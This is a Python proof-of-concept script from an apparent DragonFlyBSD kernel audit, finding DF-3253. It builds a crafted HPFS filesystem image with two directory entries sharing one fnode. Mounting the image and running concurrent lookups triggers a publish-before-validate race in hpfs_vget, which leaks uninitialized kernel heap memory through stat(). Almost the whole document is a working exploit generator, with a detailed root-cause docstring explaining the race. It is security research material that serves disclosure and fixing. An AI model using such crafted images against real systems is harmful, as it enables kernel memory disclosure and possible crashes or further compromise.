โฌข DragonFlyBSD Kernel Audit
DF-3253 / craft_df3253.py
โ† back to finding โ†“ download raw
#!/usr/bin/env python3
"""
DF-3253 โ€” crafted HPFS image for the hpfs_vget publish-before-validate race.

Root cause (audited file: sys/vfs/hpfs/hpfs_hash.c):
  hpfs_vget (sys/vfs/hpfs/hpfs_vfsops.c:525) publishes the freshly
  kmalloc'd hpfsnode into the inode hash BEFORE bread()/FN_MAGIC validation
  (:529-541) and BOTH error paths vx_put() without unhashing โ€” the node
  stays hashed with h_flag = H_INVAL (h_fn = uninitialized heap if bread
  failed).  hpfs_hphashvget (hpfs_hash.c:104-139) vget()s whatever it finds
  and never checks H_INVAL โ€” a concurrent lookup blocked in vget() on the
  creator's VX lock is handed the poisoned node the moment the failing
  creator releases it.  hpfs_lookup (hpfs_vnops.c:1056) returns it to
  namei; hpfs_getattr (hpfs_vnops.c:463) exposes h_fn.fn_size via stat().

Race shape (important): namei holds the DIRECTORY vnode lock during
VOP_LOOKUP, so two lookups in the SAME directory are serialized and can
never race.  The handoff needs two concurrent VFS_VGET()s for the SAME
fnode through DIFFERENT directories โ€” which a crafted image provides
directly: two dirents ("A/ZFILE" and "B/WFILE") both pointing at fnode
0x58.  Nothing else in HPFS cross-locks those two paths.

Layout (constants cross-checked against DF-3248's verified toolkit):
  0x10 superblock (root fnode 0x20)   0x11 spareblock
  0x30 bmind[0] -> 0x38 ; 0x38 bitmap
  0x20 root fnode '.', VDIR -> dirblk 0x40
  0x40 root dirblk: "A" -> fnode 0x60 ; "B" -> fnode 0x68 ; END
  0x48 dirblk A: "ZFILE" -> fnode 0x58 ; END
  0x50 dirblk B: "WFILE" -> fnode 0x58 ; END   (same fnode!)
  0x58 shared fnode:
       badmagic variant: fn_magic = 0xDEADBEEF, fn_size = 0x00BADF00D
       trunc variant:    sector absent -> bread fails -> h_fn = uninit heap
  0x60 fnode 'A' VDIR -> dirblk 0x48
  0x68 fnode 'B' VDIR -> dirblk 0x50

usage: craft_df3253.py <out.img> <badmagic|trunc>
"""
import struct, sys

SECTOR = 512
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
BAD_MAGIC = 0xDEADBEEF
D_MAGIC  = 0x77E40AAE
DE_END   = 0x0008

ROOT_FNO  = 0x20
ROOT_DB   = 0x40
DIRA_DB   = 0x48
DIRB_DB   = 0x50
ZFILE_FNO = 0x58
DIRA_FNO  = 0x60
DIRB_FNO  = 0x68
NSECT_FULL = 0x80
NSECT_TRUNC = 0x58          # image ends right before the shared fnode

def dirent(buf, off, reclen, flag, fnode, mtime, size, atime, ctime, name):
    n = len(name)
    struct.pack_into('<HHI', buf, off+0,  reclen & 0xFFFF, flag, fnode)
    struct.pack_into('<Q',  buf, off+8,  mtime & 0xFFFFFFFFFFFFFFFF)
    struct.pack_into('<I',  buf, off+16, size  & 0xFFFFFFFF)
    struct.pack_into('<Q',  buf, off+24, atime & 0xFFFFFFFFFFFFFFFF)
    struct.pack_into('<Q',  buf, off+32, ctime & 0xFFFFFFFFFFFFFFFF)
    struct.pack_into('<I',  buf, off+40, 0)
    buf[off+44] = 0
    buf[off+45] = 0
    buf[off+46] = n
    buf[off+47:off+47+n] = name

def dirblk_hdr(buf, off, parent, self_lsn):
    struct.pack_into('<IIII I', buf, off, D_MAGIC, 2048, 0, parent, self_lsn)

def fnode(buf, off, name, parent, flag, size, abd_lsn, busy, freeoff_ab):
    n = len(name)
    struct.pack_into('<I', buf, off+0x00, FN_MAGIC)
    buf[off+0x10] = n
    buf[off+0x11:off+0x11+n] = name
    struct.pack_into('<I', buf, off+0x20, parent)
    buf[off+0x3B] = flag
    buf[off+0x3C] = 0
    struct.pack_into('<H', buf, off+0x40, 9 - busy)
    buf[off+0x41] = busy
    struct.pack_into('<H', buf, off+0x42, freeoff_ab)
    if abd_lsn:
        struct.pack_into('<III', buf, off+0x44, 0, 1, abd_lsn)
    struct.pack_into('<I', buf, off+0xA4, size & 0xFFFFFFFF)

def build(outpath, variant):
    nsect = NSECT_TRUNC if variant == 'trunc' else NSECT_FULL
    img = bytearray(nsect * SECTOR)
    img[0] = 0xEB
    struct.pack_into('<H', img, SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    struct.pack_into('<Q', img, su + 0, SU_MAGIC)
    img[su + 8] = 2
    struct.pack_into('<I', img, su + 12, ROOT_FNO)
    struct.pack_into('<I', img, su + 16, nsect)
    struct.pack_into('<I', img, su + 24, 0x30)
    struct.pack_into('<I', img, su + 28, 0x30)
    struct.pack_into('<Q', img, 0x11 * SECTOR, SP_MAGIC)
    struct.pack_into('<I', img, 0x30 * SECTOR, 0x38)

    fnode(img, ROOT_FNO*SECTOR, b'.', ROOT_FNO, 1, 0, ROOT_DB, 1, 20)

    # root dirblk: "A" and "B"
    db = ROOT_DB * SECTOR
    dirblk_hdr(img, db, ROOT_FNO, ROOT_DB)
    dirent(img, db + 20, 64, 0, DIRA_FNO, 0, 0, 0, 0, b'A')
    dirent(img, db + 84, 64, 0, DIRB_FNO, 0, 0, 0, 0, b'B')
    eo = 148
    dirent(img, db + eo, 2048 - eo, DE_END, 0, 0, 0, 0, 0, b'')

    # dirblk A: "ZFILE" -> shared fnode ; dirblk B: "WFILE" -> shared fnode
    da = DIRA_DB * SECTOR
    dirblk_hdr(img, da, DIRA_FNO, DIRA_DB)
    dirent(img, da + 20, 64, 0, ZFILE_FNO, 0, 0, 0, 0, b'ZFILE')
    dirent(img, da + 84, 2048 - 84, DE_END, 0, 0, 0, 0, 0, b'')

    dbb = DIRB_DB * SECTOR
    dirblk_hdr(img, dbb, DIRB_FNO, DIRB_DB)
    dirent(img, dbb + 20, 64, 0, ZFILE_FNO, 0, 0, 0, 0, b'WFILE')
    dirent(img, dbb + 84, 2048 - 84, DE_END, 0, 0, 0, 0, 0, b'')

    # directory A and B fnodes
    fnode(img, DIRA_FNO*SECTOR, b'A', ROOT_FNO, 1, 0, DIRA_DB, 1, 20)
    fnode(img, DIRB_FNO*SECTOR, b'B', ROOT_FNO, 1, 0, DIRB_DB, 1, 20)

    if variant == 'badmagic':
        # the shared victim fnode: bad magic + observable size marker
        fnode(img, ZFILE_FNO*SECTOR, b'ZFILE', ROOT_FNO, 0, 0x00BADF00D,
              None, 0, 8)
        struct.pack_into('<I', img, ZFILE_FNO*SECTOR + 0x00, BAD_MAGIC)
    # 'trunc': sector 0x58 absent -> bread fails -> h_fn = uninit heap

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: variant=%s nsect=0x%x (shared fnode 0x58 via A/ZFILE "
          "and B/WFILE; %s)" % (outpath, variant, nsect,
          "BAD_MAGIC + size=0x00BADF00D" if variant == 'badmagic'
          else "absent -> bread fails, h_fn = uninit heap"))

if __name__ == '__main__':
    if len(sys.argv) != 3 or sys.argv[2] not in ('badmagic', 'trunc'):
        sys.exit("usage: craft_df3253.py <out.img> <badmagic|trunc>")
    build(sys.argv[1], sys.argv[2])